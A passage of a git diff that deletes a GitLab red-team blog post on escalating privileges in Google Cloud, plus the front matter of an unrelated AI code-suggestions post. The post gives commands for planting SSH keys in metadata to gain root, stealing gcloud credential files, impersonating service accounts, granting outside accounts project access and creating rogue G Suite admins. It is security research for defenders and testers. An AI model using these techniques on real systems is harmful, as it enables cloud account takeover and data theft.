-    This token is the combination of the service account and access scopes
-    assigned to the Compute Instance. So, even though your service account may
-    have every IAM privilege imaginable, this particular OAuth token might be
-    limited in the APIs it can communicate with due to access scopes.
-
-
-    #### Application default credentials
-
-
-    As an alternative to first pulling a token from the metadata server, Google
-    also has a strategy called [Application Default
-    Credentials](https://cloud.google.com/docs/authentication/production). When
-    using one of Google's official GCP client libraries, the code will
-    automatically go searching for credentials to use in a defined order.
-
-
-    The very first location it would check would be the [source code
-    itself](https://cloud.google.com/docs/authentication/production#passing_the_path_to_the_service_account_key_in_code).
-    Developers can choose to statically point to a service account key file.
-
-
-    The next is an environment variable called `GOOGLE_APPLICATION_CREDENTIALS`.
-    This can be set to point to a service account key file. Look for the
-    variable itself set in the context of a system account or for references to
-    setting it in scripts and instance metadata.
-
-
-    Finally, if neither of these are provided, the application will revert to
-    using the default token provided by the metadata server as described in the
-    section above.
-
-
-    Finding the actual JSON file with the service account credentials is
-    generally much more desirable than relying on the OAuth token on the
-    metadata server. This is because the raw service account credentials can be
-    activated without the burden of access scopes and without the short
-    expiration period usually applied to the tokens.
-
-
-    ## Local privilege escalation
-
-
-    This section will provide some tips on quick wins for local privilege
-    escalation. If they work right away, great! While getting root locally seems
-    like a logical starting point, though, hacking in the real world is rarely
-    this organized. You may find that you need to jump ahead and grab additional
-    secrets from a later step before you can escalate with these methods.
-
-
-    Don't feel discouraged if you can't get local root right away - keep reading
-    and follow the path that naturally unfolds.
-
-
-    ### Follow the scripts!
-
-
-    Compute Instances are there to do things. To do things in Google, they will
-    use their service accounts. And to do things with those service accounts,
-    they likely use scripts!
-
-
-    Often, we'll find ourselves on a Compute Instance and fail to enumerate
-    things like available storage buckets, crypto keys, other instances, etc.,
-    due to permission denied errors. IAM permissions are very granular, meaning
-    you can grant permissions to individual resources without granting the
-    permission to list what those resources are.
-
-
-    A great hypothetical example of this is a Compute Instance that has
-    permission to read/write backups to a storage bucket called
-    `instance82736-long-term-xyz-archive-0332893`.
-
-
-    Running `gsutil ls` from the command line returns nothing, as the service
-    account is lacking the `storage.buckets.list` IAM permission. However, if
-    you ran `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` you may
-    find a complete filesystem backup, giving you clear-text access to data that
-    your local Linux account lacks.
-
-
-    But how would you know to list the contents of that very-specific bucket
-    name? While brute-forcing buckets is a good idea, there is no way you'd find
-    that in a word list.
-
-
-    But, the instance is somehow backing up to it. Probably using a script!
-
-
-    Look for references to the `gcloud` command in scripts within the instance's
-    metadata, local filesystem, service unit files, etc. You may also find
-    Python, Ruby, PHP, etc scripts using their own [GCP client
-    libraries](https://cloud.google.com/apis/docs/cloud-client-libraries) that
-    leverage the service account's permissions to get things done.
-
-
-    Scripts in general help you understand what the machine is meant to do and
-    will help you in identifying ways to abuse that intended functionality.
-
-
-    ### Modifying the metadata
-
-
-    If you can modify the instance's metadata, there are numerous ways to
-    escalate privileges locally. There are a few scenarios that can lead to a
-    service account with this permission:
-
-
-    *Default service account*<br>
-
-    When using the default service account, the web management console offers
-    the following options for access scopes:
-
-
-    - Allow default access (default)
-
-    - Allow full access to all Cloud APIs
-
-    - Set access for each API
-
-
-    If option 2 was selected, or option 3 while explicitly allowing access to
-    the compute API, then this configuration is vulnerable to escalation.
-
-
-    *Custom service account*<br>
-
-    When using a custom service account, one of the following IAM permissions is
-    necessary to escalate privileges:
-
-
-    - compute.instances.setMetadata (to affect a single instance)
-
-    - compute.projects.setCommonInstanceMetadata (to affect all instances in the
-    project)
-
-
-    Although Google
-    [recommends](https://cloud.google.com/compute/docs/access/service-accounts#associating_a_service_account_to_an_instance)
-    not using access scopes for custom service accounts, it is still possible to
-    do so. You'll need one of the following access scopes:
-
-
-    - https://www.googleapis.com/auth/compute
-
-    - https://www.googleapis.com/auth/cloud-platform
-
-
-    #### Add SSH keys to custom metadata
-
-
-    Linux systems on GCP will typically be running [Python Linux Guest
-    Environment for Google Compute
-    Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts)
-    scripts. One of these is the [accounts
-    daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts),
-    which periodically queries the instance metadata endpoint for changes to the
-    authorized SSH public keys.
-
-
-    If a new public key is encountered, it will be processed and added to the
-    local machine. Depending on the format of the key, it will either be added
-    to the `~/.ssh/authorized_keys` file of an existing user or will create a
-    new user with `sudo` rights.
-
-
-    So, if you can modify custom instance metadata with your service account,
-    you can escalate to root on the local system by gaining SSH rights to a
-    privileged account. If you can modify custom project metadata, you can
-    escalate to root on any system in the current GCP project that is running
-    the accounts daemon.
-
-
-    ##### Add SSH key to existing privileged user
-
-
-    Let's start by adding our own key to an existing account, as that will
-    probably make the least noise. You'll want to be careful not to wipe out any
-    keys that already exist in metadata, as that may tip your target off.
-
-
-    Check the instance for existing SSH keys. Pick one of these users as they
-    are likely to have sudo rights.
-
-
-    ```
-
-    $ gcloud compute instances describe [INSTANCE] --zone [ZONE]
-
-    ```
-
-
-    Look for a section like the following:
-
-
-    ```
-     ...
-     metadata:
-       fingerprint: QCZfVTIlKgs=
-       items:
-       ...
-       - key: ssh-keys
-         value: |-
-           alice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/SQup1eHdeP1qWQedaL64vc7j7hUUtMMvNALmiPfdVTAOIStPmBKx1eN5ozSySm5wFFsMNGXPp2ddlFQB5pYKYQHPwqRJp1CTPpwti+uPA6ZHcz3gJmyGsYNloT61DNdAuZybkpPlpHH0iMaurjhPk0wMQAMJUbWxhZ6TTTrxyDmS5BnO4AgrL2aK+peoZIwq5PLMmikRUyJSv0/cTX93PlQ4H+MtDHIvl9X2Al9JDXQ/Qhm+faui0AnS8usl2VcwLOw7aQRRUgyqbthg+jFAcjOtiuhaHJO9G1Jw8Cp0iy/NE8wT0/tj9smE1oTPhdI+TXMJdcwysgavMCE8FGzZ alice
-           bob:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2fNZlw22d3mIAcfRV24bmIrOUn8l9qgOGj1LQgOTBPLAVMDAbjrM/98SIa1NainYfPSK4oh/06s7xi5B8IzECrwqfwqX0Z3VbW9oQbnlaBz6AYwgGHE3Fdrbkg/Ew8SZAvvvZ3bCwv0i5s+vWM3ox5SIs7/W4vRQBUB4DIDPtj0nK1d1ibxCa59YA8GdpIf797M0CKQ85DIjOnOrlvJH/qUnZ9fbhaHzlo2aSVyE6/wRMgToZedmc6RzQG2byVxoyyLPovt1rAZOTTONg2f3vu62xVa/PIk4cEtCN3dTNYYf3NxMPRF6HCbknaM9ixmu3ImQ7+vG3M+g9fALhBmmF bob
-     ...
-    ```
-
-
-    Notice the slightly odd format of the public keys - the username is listed
-    at the beginning (followed by a colon) and then again at the end. We'll need
-    to match this format. Unlike normal SSH key operation, the username
-    absolutely matters!
-
-
-    Save the lines with usernames and keys in a new text file called `meta.txt`.
-
-
-    Let's assume we are targeting the user `alice` from above. We'll generate a
-    new key for ourselves like this:
-
-
-    ```
-
-    $ ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
-
-    ```
-
-
-    Take the output of the command above and use it to add a line to the
-    `meta.txt` file you create above, ensuring to add `alice:` to the beggining
-    of your new public key.
-
-
-    `meta.txt` should now look something like this, including the existing keys
-    and the new key you just generated:
-
-
-    ```
-
-    alice:ssh-rsa
-    AAAAB3NzaC1yc2EAAAADAQABAAABAQC/SQup1eHdeP1qWQedaL64vc7j7hUUtMMvNALmiPfdVTAOIStPmBKx1eN5ozSySm5wFFsMNGXPp2ddlFQB5pYKYQHPwqRJp1CTPpwti+uPA6ZHcz3gJmyGsYNloT61DNdAuZybkpPlpHH0iMaurjhPk0wMQAMJUbWxhZ6TTTrxyDmS5BnO4AgrL2aK+peoZIwq5PLMmikRUyJSv0/cTX93PlQ4H+MtDHIvl9X2Al9JDXQ/Qhm+faui0AnS8usl2VcwLOw7aQRRUgyqbthg+jFAcjOtiuhaHJO9G1Jw8Cp0iy/NE8wT0/tj9smE1oTPhdI+TXMJdcwysgavMCE8FGzZ
-    alice
-
-    bob:ssh-rsa
-    AAAAB3NzaC1yc2EAAAADAQABAAABAQC2fNZlw22d3mIAcfRV24bmIrOUn8l9qgOGj1LQgOTBPLAVMDAbjrM/98SIa1NainYfPSK4oh/06s7xi5B8IzECrwqfwqX0Z3VbW9oQbnlaBz6AYwgGHE3Fdrbkg/Ew8SZAvvvZ3bCwv0i5s+vWM3ox5SIs7/W4vRQBUB4DIDPtj0nK1d1ibxCa59YA8GdpIf797M0CKQ85DIjOnOrlvJH/qUnZ9fbhaHzlo2aSVyE6/wRMgToZedmc6RzQG2byVxoyyLPovt1rAZOTTONg2f3vu62xVa/PIk4cEtCN3dTNYYf3NxMPRF6HCbknaM9ixmu3ImQ7+vG3M+g9fALhBmmF
-    bob
-
-    alice:ssh-rsa
-    AAAAB3NzaC1yc2EAAAADAQABAAABAQDnthNXHxi31LX8PlsGdIF/wlWmI0fPzuMrv7Z6rqNNgDYOuOFTpM1Sx/vfvezJNY+bonAPhJGTRCwAwytXIcW6JoeX5NEJsvEVSAwB1scOSCEAMefl0FyIZ3ZtlcsQ++LpNszzErreckik3aR+7LsA2TCVBjdlPuxh4mvWBhsJAjYS7ojrEAtQsJ0mBSd20yHxZNuh7qqG0JTzJac7n8S5eDacFGWCxQwPnuINeGoacTQ+MWHlbsYbhxnumWRvRiEm7+WOg2vPgwVpMp4sgz0q5r7n/l7YClvh/qfVquQ6bFdpkVaZmkXoaO74Op2Sd7C+MBDITDNZPpXIlZOf4OLb
-    alice
-
-    ```
-
-
-    Now, you can re-write the SSH key metadata for your instance with the
-    following command:
-
-
-    ```
-
-    $ gcloud compute instances add-metadata [INSTANCE] --metadata-from-file
-    ssh-keys=meta.txt
-
-    ```
-
-
-    You can now access a shell in the context of `alice` as follows:
-
-
-    ```
-
-    lowpriv@instance:~$ ssh -i ./key alice@localhost
-
-    alice@instance:~$ sudo id
-
-    uid=0(root) gid=0(root) groups=0(root)
-
-    ```
-
-
-    ##### Create a new privileged user
-
-
-    No existing keys found when following the steps above? No one else
-    interesting in `/etc/passwd` to target?
-
-
-    You can follow the same process as above, but just make up a new username.
-    This user will be created automatically and given rights to `sudo`.
-    Scripted, the process would look like this:
-
-
-    ```
-
-    # define the new account username
-
-    NEWUSER="definitelynotahacker"
-
-
-    # create a key
-
-    ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""
-
-
-    # create the input meta file
-
-    NEWKEY="$(cat ./key.pub)"
-
-    echo "$NEWUSER:$NEWKEY" > ./meta.txt
-
-
-    # update the instance metadata
-
-    gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file
-    ssh-keys=meta.txt
-
-
-    # ssh to the new account
-
-    ssh -i ./key "$NEWUSER"@localhost
-
-    ```
-
-    ##### Grant sudo to existing session
-
-    This one is so easy, quick, and dirty that it feels wrong...
-
-
-    ```
-
-    $ gcloud compute ssh [INSTANCE NAME]
-
-    ```
-
-
-    This will generate a new SSH key, add it to your existing user, and add your
-    existing username to the `google-sudoers` group, and start a new SSH
-    session. While it is quick and easy, it may end up making more changes to
-    the target system than the previous methods.
-
-
-    We'll talk about this again for lateral movement, but it works perfectly
-    fine for local privilege escalation as well.
-
-
-    ##### Using OS Login
-
-
-    [OS Login](https://cloud.google.com/compute/docs/oslogin/) is an alternative
-    to managing SSH keys. It links a Google user or service account to a Linux
-    identity, relying on IAM permissions to grant or deny access to Compute
-    Instances.
-
-
-    OS Login is
-    [enabled](https://cloud.google.com/compute/docs/instances/managing-instance-access#enable_oslogin)
-    at the project or instance level using the metadata key of `enable-oslogin =
-    TRUE`.
-
-
-    OS Login with two-factor authentication is
-    [enabled](https://cloud.google.com/compute/docs/oslogin/setup-two-factor-authentication)
-    in the same manner with the metadata key of `enable-oslogin-2fa = TRUE`.
-
-
-    The following two IAM permissions control SSH access to instances with OS
-    Login enabled. They can be applied at the project or instance level:
-
-
-    - roles/compute.osLogin (no sudo)
-
-    - roles/compute.osAdminLogin (has sudo)
-
-
-    Unlike managing only with SSH keys, these permissions allow the
-    administrator to control whether or not `sudo` is granted.
-
-
-    If you're lucky, your service account has these permissions. You can simply
-    run the `gcloud compute ssh [INSTANCE]` command to [connect manually as the
-    service
-    account](https://cloud.google.com/compute/docs/instances/connecting-advanced#sa_ssh_manual).
-    Two-factor is only enforced when using user accounts, so that should not
-    slow you down even if it is assigned as shown above.
-
-
-    Similar to using SSH keys from metadata, you can use this strategy to
-    escalate privileges locally and/or to access other Compute Instances on the
-    network.
-
-
-    ## Lateral movement
-
-
-    You've compromised one VM inside a project. Great! Now let's get some
-    more...
-
-
-    You can try the following command to get a list of all instances in your
-    current project:
-
-
-    ```
-
-    $ gcloud compute instances list
-
-    ```
-
-
-    ### SSH'ing around
-
-
-    You can use the local privilege escalation tactics above to move around to
-    other machines. Read through those sections for a detailed description of
-    each method and the associated commands.
-
-
-    We can expand upon those a bit by [applying SSH keys at the project
-    level](https://cloud.google.com/compute/docs/instances/adding-removing-ssh-keys#project-wide),
-    granting you permission to SSH into a privileged account for any instance
-    that has not explicitly chosen the "Block project-wide SSH keys" option.
-
-
-    After you've identified the strategy for selecting or creating a new user
-    account, you can use the following syntax.
-
-
-    ```
-
-    $ gcloud compute project-info add-metadata --metadata-from-file
-    ssh-keys=meta.txt
-
-    ```
-
-
-    If you're really bold, you can also just type `gcloud compute ssh
-    [INSTANCE]` to use your current username on other boxes.
-
-
-    ### Abusing networked services
-
-
-    #### Some GCP networking tidbits
-
-
-    Compute Instances are connected to networks called VPCs or [Virtual Private
-    Clouds](https://cloud.google.com/vpc/docs/vpc). [GCP
-    firewall](https://cloud.google.com/vpc/docs/firewalls) rules are defined at
-    this network level but are applied individually to a Compute Instance. Every
-    network, by default, has two [implied firewall
-    rules](https://cloud.google.com/vpc/docs/firewalls#default_firewall_rules):
-    allow outbound and deny inbound.
-
-
-    Each GCP project is provided with a VPC called `default`, which applies the
-    following rules to all instances:
-
-
-    - default-allow-internal (allow all traffic from other instances on the
-    `default` network)
-
-    - default-allow-ssh (allow 22 from everywhere)
-
-    - default-allow-rdp (allow 3389 from everywhere)
-
-    - default-allow-icmp (allow ping from everywhere)
-
-
-    #### Meet the neighbors
-
-
-    Firewall rules may be more permissive for internal IP addresses. This is
-    especially true for the default VPC, which permits all traffic between
-    Compute Instances.
-
-
-    You can get a nice readable view of all the subnets in the current project
-    with the following command:
-
-
-    ```
-
-    $ gcloud compute networks subnets list
-
-    ```
-
-
-    And an overview of all the internal/external IP addresses of the Compute
-    Instances using the following:
-
-
-    ```
-
-    $ gcloud compute instances list
-
-    ```
-
-
-    If you go crazy with nmap from a Compute Instance, Google will notice and
-    will likely send an alert email to the project owner. This is more likely to
-    happen if you are scanning public IP addresses outside of your current
-    project. Tread carefully.
-
-
-    #### Enumerating public ports
-
-
-    Perhaps you've been unable to leverage your current access to move through
-    the project internally, but you DO have read access to the compute API. It's
-    worth enumerating all the instances with firewall ports open to the world -
-    you might find an insecure application to breach and hope you land in a more
-    powerful position.
-
-
-    In the section above, you've gathered a list of all the public IP addresses.
-    You could run nmap against them all, but this may taken ages and could get
-    your source IP blocked.
-
-
-    When attacking from the internet, the default rules don't provide any quick
-    wins on properly configured machines. It's worth checking for password
-    authentication on SSH and weak passwords on RDP, of course, but that's a
-    given.
-
-
-    What we are really interested in is other firewall rules that have been
-    intentionally applied to an instance. If we're lucky, we'll stumble over an
-    insecure application, an admin interface with a default password, or
-    anything else we can exploit.
-
-
-    [Firewall rules](https://cloud.google.com/vpc/docs/firewalls) can be applied
-    to instances via the following methods:
-
-
-    - [Network tags](https://cloud.google.com/vpc/docs/add-remove-network-tags)
-
-    - [Service
-    accounts](https://cloud.google.com/vpc/docs/firewalls#serviceaccounts)
-
-    - All instances within a VPC
-
-
-    Unfortunately, there isn't a simple `gcloud` command to spit out all Compute
-    Instances with open ports on the internet. You have to connect the dots
-    between firewall rules, network tags, services accounts, and instances.
-
-
-    We've automated this completely using [this python
-    script](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum)
-    which will export the following:
-
-
-    - CSV file showing instance, public IP, allowed TCP, allowed UDP
-
-    - nmap scan to target all instances on ports ingress allowed from the public
-    internet (0.0.0.0/0)
-
-    - masscan to target the full TCP range of those instances that allow ALL TCP
-    ports from the public internet (0.0.0.0/0)
-
-
-    Full documentation on that tool is availabe in the
-    [README](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum/blob/master/README.md).
-
-
-    ## Cloud privilege escalation
-
-
-    In this section, we'll talk about ways to potentially increase our
-    privileges within the cloud environment itself.
-
-
-    ### Organization-level IAM permissions
-
-
-    Most of the commands in this blog focus on obtaining project-level data.
-    However, it's important to know that permissions can be set at the highest
-    level of "Organization" as well. If you can enumerate this info, this will
-    give you an idea of which accounts may have access across all of the
-    projects inside an org.
-
-
-    The following commands will list the policies set at this level:
-
-
-    ```
-
-    # First, get the numeric organization ID
-
-    $ gcloud organizations list
-
-
-    # Then, enumerate the policies
-
-    $ gcloud organizations get-iam-policy [ORG ID]
-
-    ```
-
-
-    Permissions you see in this output will be applied to EVERY project. If you
-    don't have access to any of the accounts listed, continue reading to the
-    [Service Account Impersonation](#service-account-impersonation) section
-    below.
-
-
-    ### Bypassing access scopes
-
-
-    There's nothing worse than having access to a powerful service account but
-    being limited by the access scopes of your current OAuth token. But fret
-    not! Just the existence of that powerful account introduces risks which we
-    might still be able to abuse.
-
-
-    #### Pop another box
-
-
-    It's possible that another box in the environment exists with less
-    restrictive access scopes. If you can view the output of `gcloud compute
-    instances list --quiet --format=json`, look for instances with either the
-    specific scope you want or the `auth/cloud-platform` all-inclusive scope.
-
-
-    Also keep an eye out for instances that have the default service account
-    assigned (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`).
-
-
-    #### Find service account keys
-
-
-    Google states very clearly [**"Access scopes are not a security mechanism...
-    they have no effect when making requests not authenticated through
-    OAuth"**](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam).
-
-
-    So, if we have a powerful service account but a limited OAuth token, we need
-    to somehow authenticate to services without OAuth.
-
-
-    The easiest way to do this would be to stumble across a [service account
-    key](https://cloud.google.com/iam/docs/creating-managing-service-account-keys)
-    stored on the instance. These are RSA private keys that can be used to
-    authenticate to the Google Cloud API and request a new OAuth token with no
-    scope limitations.
-
-
-    You can tell which service accounts, if any, have had key files exported for
-    them. This will let you know whether or not it's even worth hunting for
-    them, and possibly give you some hints on where to look. The command below
-    will help.
-
-
-    ```
-
-    $ for i in $(gcloud iam service-accounts list
-    --format="table[no-heading](email)"); do
-        echo Looking for keys for $i:
-        gcloud iam service-accounts keys list --iam-account $i
-    done
-
-    ```
-
-
-    These files are not stored on a Compute Instance by default, so you'd have
-    to be lucky to encounter them. When a service account key file is exported
-    from the GCP console, the default name for the file is
-    [project-id]-[portion-of-key-id].json. So, if your project name is
-    `test-project` then you can search the filesystem for `test-project*.json`
-    looking for this key file.
-
-
-    The contents of the file look something like this:
-
-
-    ```
-
-    {
-
-    "type": "service_account",
-
-    "project_id": "[PROJECT-ID]",
-
-    "private_key_id": "[KEY-ID]",
-
-    "private_key": "-----BEGIN PRIVATE KEY-----\n[PRIVATE-KEY]\n-----END PRIVATE
-    KEY-----\n",
-
-    "client_email": "[SERVICE-ACCOUNT-EMAIL]",
-
-    "client_id": "[CLIENT-ID]",
-
-    "auth_uri": "https://accounts.google.com/o/oauth2/auth",
-
-    "token_uri": "https://accounts.google.com/o/oauth2/token",
-
-    "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
-
-    "client_x509_cert_url":
-    "https://www.googleapis.com/robot/v1/metadata/x509/[SERVICE-ACCOUNT-EMAIL]"
-
-    }
-
-
-    ```
-
-
-    Or, if generated from the CLI they will look like this:
-
-
-    ```
-
-    {
-
-    "name":
-    "projects/[PROJECT-ID]/serviceAccounts/[SERVICE-ACCOUNT-EMAIL]/keys/[KEY-ID]",
-
-    "privateKeyType": "TYPE_GOOGLE_CREDENTIALS_FILE",
-
-    "privateKeyData": "[PRIVATE-KEY]",
-
-    "validAfterTime": "[DATE]",
-
-    "validBeforeTime": "[DATE]",
-
-    "keyAlgorithm": "KEY_ALG_RSA_2048"
-
-    }
-
-    ```
-
-
-    If you do find one of these files, you can tell the `gcloud` command to
-    re-authenticate with this service account. You can do this on the instance,
-    or on any machine that has the tools installed.
-
-
-    ```
-
-    $ gcloud auth activate-service-account --key-file [FILE]
-
-    ```
-
-
-    You can now test your new OAuth token as follows:
-
-
-    ```
-
-    $ TOKEN=`gcloud auth print-access-token`
-
-    $ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=$TOKEN
-
-    ```
-
-
-    You should see `https://www.googleapis.com/auth/cloud-platform` listed in
-    the scopes, which means you are not limited by any instance-level access
-    scopes. You now have full power to use all of your assigned IAM permissions.
-
-
-    #### Steal gcloud authorizations
-
-
-    It's quite possible that other users on the same box have been running
-    `gcloud` commands using an account more powerful than your own. You'll need
-    local root to do this.
-
-
-    First, find what `gcloud` config directories exist in users' home folders.
-
-
-    ```
-
-    $ sudo find / -name "gcloud"
-
-    ```
-
-
-    You can manually inspect the files inside, but these are generally the ones
-    with the secrets:
-
-
-    - ~/.config/gcloud/credentials.db
-
-    - ~/.config/gcloud/legacy_credentials/[ACCOUNT]/adc.json
-
-    - ~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto
-
-    - ~/.credentials.json
-
-
-    Now, you have the option of looking for clear text credentials in these
-    files or simply copying the entire `gcloud` folder to a machine you control
-    and running `gcloud auth list` to see what accounts are now available to
-    you.
-
-
-    ### Service account impersonation
-
-
-    There are three ways in which you can [impersonate another service
-    account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
-
-
-    - Authentication using RSA private keys (covered
-    [above](#find-service-account-keys))
-
-    - Authorization using Cloud IAM policies (covered below)
-
-    - Deploying jobs on GCP services (more applicable to the compromise of a
-    user account)
-
-
-    It's possible that the service account you are currently authenticated as
-    has permission to impersonate other accounts with more permissions and/or a
-    less restrictive scope. This behavior is authorized by the predefined role
-    called `iam.serviceAccountTokenCreator`.
-
-
-    A good example here is that you've compromised an instance running as a
-    custom service account with this role, and the default service account still
-    exists in the project. As the default service account has the primitive role
-    of Project Editor, it is possibly even more powerful than the custom
-    account.
-
-
-    Even better, you might find a service account with the primitive role of
-    Owner. This gives you full permissions, and is a good target to then grant
-    your own Google account rights to log in to the project using the web
-    console.
-
-
-    `gcloud` has a `--impersonate-service-account`
-    [flag](https://cloud.google.com/sdk/gcloud/reference/#--impersonate-service-account)
-    which can be used with any command to execute in the context of that
-    account.
-
-
-    To give this a shot, you can try the following:
-
-
-    ```
-
-    # View available service accounts
-
-    $ gcloud iam service-accounts list
-
-
-    # Impersonate the account
-
-    $ gcloud compute instances list \
-        --impersonate-service-account xxx@developer.gserviceaccount.com
-    ```
-
-
-    ### Exploring other projects
-
-
-    If you're really lucky, either the service account on your compromised
-    instance or another account you've bagged thus far has access to additional
-    GCP projects. You can check with the following command:
-
-
-    ```
-
-    $ gcloud projects list
-
-    ```
-
-
-    From here, you can hop over to that project and start the entire process
-    over.
-
-
-    ```
-
-    $ gcloud config set project [PROJECT-ID]
-
-    ```
-
-
-    ### Granting access to management console
-
-
-    Access to the [GCP management console](https://console.cloud.google.com/) is
-    provided to user accounts, not service accounts. To log in to the web
-    interface, you can grant access to a Google account that you control. This
-    can be a generic "@gmail.com" account, it does not have to be a member of
-    the target organization.
-
-
-    To grant the primitive role of Owner to a generic "@gmail.com" account,
-    though, you'll need to use the web console. `gcloud` will error out if you
-    try to grant it a permission above Editor.
-
-
-    You can use the following command to grant a user the primitive role of
-    Editor to your existing project:
-
-
-    ```
-
-    $ gcloud projects add-iam-policy-binding [PROJECT] \
-        --member user:[EMAIL] --role roles/editor
-    ```
-
-
-    If you succeeded here, try accessing the web interface and exploring from
-    there.
-
-
-    This is the highest level you can assign using the gcloud tool. To assign a
-    permission of Owner, you'd need to use the console itself.
-
-
-    You need a fairly high level of permission to do this. If you're not quite
-    there, keep reading.
-
-
-    ### Spreading to G Suite via domain-wide delegation of authority
-
-
-    [G Suite](https://gsuite.google.com/) is Google's collaboration and
-    productivity platform which consists of things like Gmail, Google Calendar,
-    Google Drive, Google Docs, etc. Many organizations use some or all of this
-    platform as an alternative to traditional Microsoft AD/Exchange
-    environments.
-
-
-    Service accounts in GCP can be granted the rights to programatically access
-    user data in G Suite by impersonating legitimate users. This is known as
-    [domain-wide
-    delegation](https://developers.google.com/admin-sdk/reports/v1/guides/delegation).
-    This includes actions like reading email in GMail, accessing Google Docs,
-    and even creating new user accounts in the G Suite organization.
-
-
-    G Suite has [its own
-    API](https://developers.google.com/gsuite/aspects/apis), completely separate
-    from anything else we've explored in this blog. Permissions are granted to G
-    Suite API calls in a similar fashion to how permissions are granted to GCP
-    APIs. However, G Suite and GCP are two different entities - being in one
-    does not mean you automatically have access to another.
-
-
-    It is possible that a G Suite administrator has granted some level of G
-    Suite API access to a GCP service account that you control. If you have
-    access to the Web UI at this point, you can browse to IAM -> Service
-    Accounts and see if any of the accounts have "Enabled" listed under the
-    "domain-wide delegation" column. The column itself may not appear if no
-    accounts are enabled. As of this writing, there is no way to do this
-    programatically, although there is a [request for this
-    feature](https://issuetracker.google.com/issues/116182848) in Google's bug
-    tracker.
-
-
-    It is not enough for you to simply enable this for a service account inside
-    GCP. The G Suite administrator would also have to configure this in the G
-    Suite admin console.
-
-
-    Whether or not you know that a service account has been given permissions
-    inside G Suite, you can still try it out. You'll need the service account
-    credentials exported in JSON format. You may have acquired these in an
-    earlier step, or you may have the access required now to create a key for a
-    service account you know to have domain-wide delegation enabled.
-
-
-    This topic is a bit tricky... your service account has something called a
-    "client_email" which you can see in the JSON credential file you export. It
-    probably looks something like
-    `account-name@project-name.iam.gserviceaccount.com`. If you try to access G
-    Suite API calls directly with that email, even with delegation enabled, you
-    will fail. This is because the G Suite directory will not include the GCP
-    service account's email addresses. Instead, to interact with G Suite, we
-    need to actually impersonate valid G Suite users.
-
-
-    What you really want to do is to impersonate a user with administrative
-    access, and then use that access to do something like reset a password,
-    disable multi-factor authentication, or just create yourself a shiny new
-    admin account.
-
-
-    We've created [this Python
-    script](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_misc/blob/master/gcp_delegation.py)
-    that can do two things - list the user directory and create a new
-    administrative account. Here is how you would use it:
-
-
-    ```
-
-    # Validate access only
-
-    $ ./gcp_delegation.py --keyfile ./credentials.json \
-        --impersonate steve.admin@target-org.com \
-        --domain target-org.com
-
-    # List the directory
-
-    $ ./gcp_delegation.py --keyfile ./credentials.json \
-        --impersonate steve.admin@target-org.com \
-        --domain target-org.com \
-        --list
-
-    # Create a new admin account
-
-    $ ./gcp_delegation.py --keyfile ./credentials.json \
-        --impersonate steve.admin@target-org.com \
-        --domain target-org.com \
-        --account pwned
-    ```
-
-
-    You can try this script across a range of email addresses to impersonate
-    various users. Standard output will indicate whether or not the service
-    account has access to G Suite, and will include a random password for the
-    new admin account if one is created.
-
-
-    If you have success creating a new admin account, you can log on to the
-    [Google admin console](https://admin.google.com) and have full control over
-    everything in G Suite for every user - email, docs, calendar, etc. Go wild.
-  category: Security
-  tags:
-    - security
-    - security research
-    - open source
-config:
-  slug: plundering-gcp-escalating-privileges-in-google-cloud-platform
-  featured: false
-  template: BlogPost
diff --git a/content/en-us/blog/top-tips-for-efficient-ai-powered-code-suggestions-with-gitlab-duo.yml b/content/en-us/blog/top-tips-for-efficient-ai-powered-code-suggestions-with-gitlab-duo.yml
deleted file mode 100644
index ebf4ecf04..000000000
--- a/content/en-us/blog/top-tips-for-efficient-ai-powered-code-suggestions-with-gitlab-duo.yml
+++ /dev/null
@@ -1,49 +0,0 @@
-seo:
-  title: Top tips for efficient AI-powered Code Suggestions with GitLab Duo
-  description: >-
-    Explore best practices  for using Code Suggestions and how to combine it
-    with our other AI features to greatly improve the developer experience
-    (includes real-world exercises).
-  ogTitle: Top tips for efficient AI-powered Code Suggestions with GitLab Duo
-  ogDescription: >-
-    Explore best practices  for using Code Suggestions and how to combine it
-    with our other AI features to greatly improve the developer experience
-    (includes real-world exercises).
-  noIndex: false
-  ogImage: images/blog/hero-images/gitlabduo.png
-  ogUrl: >-
-    https://about.gitlab.com/blog/top-tips-for-efficient-ai-powered-code-suggestions-with-gitlab-duo
-  ogSiteName: https://about.gitlab.com
-  ogType: article
-  canonicalUrls: >-
-    https://about.gitlab.com/blog/top-tips-for-efficient-ai-powered-code-suggestions-with-gitlab-duo
-  schema: |2-
-
-                            {
-            "@context": "https://schema.org",
-            "@type": "Article",
-            "headline": "Top tips for efficient AI-powered Code Suggestions with GitLab Duo",
-            "author": [{"@type":"Person","name":"Michael Friedrich"}],
-            "datePublished": "2024-06-11",
-          }
-
-content:
-  title: Top tips for efficient AI-powered Code Suggestions with GitLab Duo
-  description: >-
-    Explore best practices  for using Code Suggestions and how to combine it
-    with our other AI features to greatly improve the developer experience
-    (includes real-world exercises).
-  authors:
-    - Michael Friedrich
-  heroImage: images/blog/hero-images/gitlabduo.png
-  date: '2024-06-11'
